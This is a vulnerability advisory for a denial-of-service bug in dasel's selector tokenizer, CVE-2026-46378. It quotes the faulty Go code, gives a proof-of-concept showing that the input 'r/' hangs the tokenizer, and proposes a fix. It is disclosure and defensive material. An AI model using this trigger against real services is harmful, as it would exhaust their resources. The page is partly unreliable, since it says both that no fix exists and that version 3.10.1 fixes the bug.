CVE-2026-46378

dasel's selector lexer enters a non-terminating loop when tokenizing an unterminated regex pattern such as r/abc. A 2-byte input (r/) is sufficient to cause the tokenizer to consume 100% CPU on one core indefinitely.

I confirmed the issue on v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8) and on master commit 0dd6132e0c58edbd9b1a5f7ffd00dfab1e6085ad. I also verified the same code path is present in v3.0.0 (648f83baf070d9e00db8ff312febef857ec090a3). No fix is available yet.

Details

The bug is in the matchRegexPattern closure within (*Tokenizer).parseCurRune in selector/lexer/tokenize.go#L237-L247:

matchRegexPattern := func(pos int) *Token {
    if p.src[pos] != 'r' || !p.peekRuneEqual(pos+1, '/') {
        return nil
    }
    start := pos
    pos += 2
    for !p.peekRuneEqual(pos, '/') {  // line 243
        pos++
    }
    pos++
    return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start))
}

When no closing / exists, peekRuneEqual returns false when pos >= srcLen (because the bounds check at line 40 returns false for out-of-range positions). Since !false = true, the loop condition remains true and pos increments indefinitely. The function never returns.

Notably, the same function already handles unterminated quoted strings by returning UnexpectedEOFError, but the regex pattern path does not perform a similar end-of-input check.

Minimal trigger: r/ (2 bytes)

Test environment:

• MacBook Air (Apple M2), macOS / Darwin arm64
• Go 1.26.1
• dasel v3.3.1 (fba653c7f248aff10f2b89fca93929b64707dfc8)

PoC

package main

import (
	"fmt"
	"runtime"
	"time"

	"github.com/tomwright/dasel/v3/selector/lexer"
)

func main() {
	fmt.Printf("Go version: %s\n", runtime.Version())
	fmt.Printf("GOARCH: %s\n", runtime.GOARCH)
	fmt.Println()

	for _, input := range []string{"r/unterminated", "r/"} {
		fmt.Printf("Input: %s\n", input)
		done := make(chan string, 1)
		go func() {
			t := lexer.NewTokenizer(input)
			start := time.Now()
			tokens, err := t.Tokenize()
			elapsed := time.Since(start)
			if err != nil {
				done <- fmt.Sprintf("Error after %v: %v", elapsed, err)
			} else {
				done <- fmt.Sprintf("OK after %v: %d tokens", elapsed, len(tokens))
			}
		}()

		select {
		case result := <-done:
			fmt.Println(result)
		case <-time.After(5 * time.Second):
			fmt.Println("CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop")
		}
		fmt.Println()
	}
}

Observed output on v3.3.1 in the test environment above:

Go version: go1.26.1
GOARCH: arm64

Input: r/unterminated
CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop

Input: r/
CONFIRMED: did not complete within 5s; tokenizer is stuck in non-terminating loop

An attacker who can control or influence the selector/query string passed to dasel can cause the tokenizer to enter a non-terminating loop. The affected process consumes 100% CPU on one core and does not make progress until externally terminated.

The selector string is typically provided by the application developer, but there are deployment scenarios where it may be attacker-influenced:

• Web applications using dasel for dynamic data querying
• Applications that construct selectors from user input
• Shared tooling environments where selectors are passed as parameters

CVE-2026-46378 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (3.10.1); upgrading removes the vulnerable code path.

Kodem intelligence

The regex scanner should bounds-check and return an error on unterminated regex literals, consistent with unterminated quoted strings. Since matchRegexPattern currently returns *Token, the fix also requires changing the function signature to propagate errors. For example:

matchRegexPattern := func(pos int) (*Token, error) {
    if p.src[pos] != 'r' || !p.peekRuneEqual(pos+1, '/') {
        return nil, nil
    }
    start := pos
    pos += 2
    for pos < p.srcLen && p.src[pos] != '/' {
        pos++
    }
    if pos >= p.srcLen {
        return nil, &UnexpectedEOFError{Pos: pos}
    }
    pos++
    return ptr.To(NewToken(RegexPattern, p.src[start+2:pos-1], start, pos-start)), nil
}

1. What is CVE-2026-46378? CVE-2026-46378 is a high-severity security vulnerability in github.com/tomwright/dasel/v3 (go), affecting versions >= 3.0.0, < 3.10.1. It is fixed in 3.10.1.
2. How severe is CVE-2026-46378? CVE-2026-46378 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/tomwright/dasel/v3 are affected by CVE-2026-46378? github.com/tomwright/dasel/v3 (go) versions >= 3.0.0, < 3.10.1 is affected.
4. Is there a fix for CVE-2026-46378? Yes. CVE-2026-46378 is fixed in 3.10.1. Upgrade to this version or later.
5. Is CVE-2026-46378 exploitable, and should I be worried? Whether CVE-2026-46378 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-46378 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-46378? Upgrade github.com/tomwright/dasel/v3 to 3.10.1 or later.